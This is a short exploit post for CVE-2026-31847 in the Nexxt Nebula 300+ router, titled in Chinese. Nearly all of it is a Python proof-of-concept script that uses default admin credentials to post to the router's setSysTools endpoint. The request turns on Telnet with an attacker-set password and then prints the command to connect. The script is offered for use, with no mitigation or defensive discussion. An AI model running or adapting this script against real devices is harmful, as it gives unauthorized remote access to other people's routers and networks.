CVE-2026-31847 Nexxt Nebula 300+ 远程Telnet启用漏洞

import requests # Target configuration target_ip = "192.168.1.1" url = f"http://{target_ip}/goform/setSysTools" username = "admin" password = "admin" # Replace with valid credentials # Attacker defined telnet password telnet_password = "hacked" # Payload to enable telnet payload = { "telnetManageEn": "true", "telnetPwd": telnet_password } # Create session to handle authentication (PR:L) session = requests.Session() login_data = {"username": username, "password": password} # Attempt login (Generic login endpoint, adjust based on actual firmware) # session.post(f"http://{target_ip}/login", data=login_data) # Send exploit request headers = {"Content-Type": "application/x-www-form-urlencoded"} response = session.post(url, data=payload, headers=headers) if response.status_code == 200: print("[+] Telnet service enabled successfully.") print(f"[+] Connect via: telnet {target_ip}") else: print("[-] Failed to enable telnet.")